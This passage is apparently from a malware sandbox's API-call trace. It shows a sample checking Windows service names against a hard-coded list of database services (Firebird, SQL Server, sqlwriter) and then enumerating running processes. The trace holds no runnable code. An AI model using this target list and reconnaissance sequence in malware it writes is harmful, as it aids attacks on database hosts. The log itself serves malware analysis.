lstrlenW (lpString="NcbService") returned 10 [0261.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0261.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0261.608] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0261.608] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0261.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0261.608] lstrlenW (lpString="netprofm") returned 8 [0261.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0261.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0261.608] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0261.608] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0261.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0261.608] lstrlenW (lpString="NgcSvc") returned 6 [0261.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0261.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0261.608] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0261.608] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0261.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0261.608] lstrlenW (lpString="NlaSvc") returned 6 [0261.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0261.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0261.608] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0261.608] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0261.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0261.608] lstrlenW (lpString="nsi") returned 3 [0261.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0261.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0261.608] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0261.608] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0261.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0261.608] lstrlenW (lpString="PcaSvc") returned 6 [0261.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0261.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0261.609] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0261.609] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0261.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0261.609] lstrlenW (lpString="PlugPlay") returned 8 [0261.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0261.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0261.609] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0261.609] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0261.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0261.609] lstrlenW (lpString="Power") returned 5 [0261.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0261.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0261.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0261.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0261.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0261.609] lstrlenW (lpString="ProfSvc") returned 7 [0261.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0261.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0261.609] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0261.609] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0261.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0261.609] lstrlenW (lpString="RpcEptMapper") returned 12 [0261.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.609] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0261.609] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0261.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0261.609] lstrlenW (lpString="RpcSs") returned 5 [0261.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0261.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0261.610] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0261.610] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0261.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0261.610] lstrlenW (lpString="SamSs") returned 5 [0261.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0261.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0261.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0261.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0261.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0261.610] lstrlenW (lpString="Schedule") returned 8 [0261.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0261.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0261.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0261.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0261.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0261.610] lstrlenW (lpString="SecurityHealthService") returned 21 [0261.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0261.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0261.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0261.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0261.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0261.610] lstrlenW (lpString="SENS") returned 4 [0261.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0261.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0261.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0261.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0261.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0261.610] lstrlenW (lpString="ShellHWDetection") returned 16 [0261.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.610] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0261.611] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0261.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0261.611] lstrlenW (lpString="Spooler") returned 7 [0261.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0261.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0261.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0261.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0261.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0261.611] lstrlenW (lpString="StateRepository") returned 15 [0261.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0261.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0261.611] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0261.611] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0261.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0261.611] lstrlenW (lpString="SysMain") returned 7 [0261.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0261.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0261.611] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0261.611] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0261.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0261.611] lstrlenW (lpString="SystemEventsBroker") returned 18 [0261.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0261.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0261.611] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0261.611] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0261.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0261.611] lstrlenW (lpString="Themes") returned 6 [0261.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0261.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0261.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0261.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0261.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0261.612] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0261.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0261.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0261.612] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0261.612] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0261.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f56c8 | out: hHeap=0x640000) returned 1 [0261.612] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x524 [0261.665] Process32FirstW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.666] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.667] lstrlenW (lpString="System") returned 6 [0261.667] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.667] lstrlenW (lpString="smss.exe") returned 8 [0261.667] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.668] lstrlenW (lpString="csrss.exe") returned 9 [0261.668] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.669] lstrlenW (lpString="wininit.exe") returned 11 [0261.669] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.670] lstrlenW (lpString="csrss.exe") returned 9 [0261.670] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.670] lstrlenW (lpString="winlogon.exe") returned 12 [0261.670] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.671] lstrlenW (lpString="services.exe") returned 12 [0261.671] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.672] lstrlenW (lpString="lsass.exe") returned 9 [0261.672] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0261.673] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0261.673] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0261.673] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0261.674] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.674] lstrlenW (lpString="svchost.exe") returned 11 [0261.674] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.675] lstrlenW (lpString="svchost.exe") returned 11 [0261.675] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.676] lstrlenW (lpString="dwm.exe") returned 7 [0261.676] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.676] lstrlenW (lpString="svchost.exe") returned 11 [0261.677] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.677] lstrlenW (lpString="svchost.exe") returned 11 [0261.677] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.678] lstrlenW (lpString="svchost.exe") returned 11 [0261.678] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.679] lstrlenW (lpString="svchost.exe") returned 11 [0261.679] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.680] lstrlenW (lpString="svchost.exe") returned 11 [0261.680] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.680] lstrlenW (lpString="svchost.exe") returned 11 [0261.680] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.681] lstrlenW (lpString="svchost.exe") returned 11 [0261.681] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.682] lstrlenW (lpString="svchost.exe") returned 11 [0261.682] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.683] lstrlenW (lpString="svchost.exe") returned 11 [0261.683] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.684] lstrlenW (lpString="svchost.exe") returned 11 [0261.684] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.685] lstrlenW (lpString="spoolsv.exe") returned 11 [0261.685] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.686] lstrlenW (lpString="svchost.exe") returned 11 [0261.686] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.687] lstrlenW (lpString="audiodg.exe") returned 11 [0261.688] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0261.688] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0261.689] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0261.689] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0261.689] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0261.690] lstrlenW (lpString="Memory Compression") returned 18 [0261.690] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.691] lstrlenW (lpString="svchost.exe") returned 11 [0261.691] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0261.692] lstrlenW (lpString="sihost.exe") returned 10 [0261.692] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0261.693] lstrlenW (lpString="MDMAgent.exe") returned 12 [0261.693] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0261.694] lstrlenW (lpString="taskhostw.exe") returned 13 [0261.694] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0261.695] lstrlenW (lpString="msoia.exe") returned 9 [0261.695] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.696] lstrlenW (lpString="explorer.exe") returned 12 [0261.696] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0261.697] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0261.697] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0261.865] lstrlenW (lpString="SearchUI.exe") returned 12 [0261.865] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0261.866] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0261.867] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0261.867] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0261.867] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0261.868] lstrlenW (lpString="chrome64b.exe") returned 13 [0261.868] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0261.869] lstrlenW (lpString="cmd.exe") returned 7 [0261.869] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0261.870] lstrlenW (lpString="conhost.exe") returned 11 [0261.870] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, 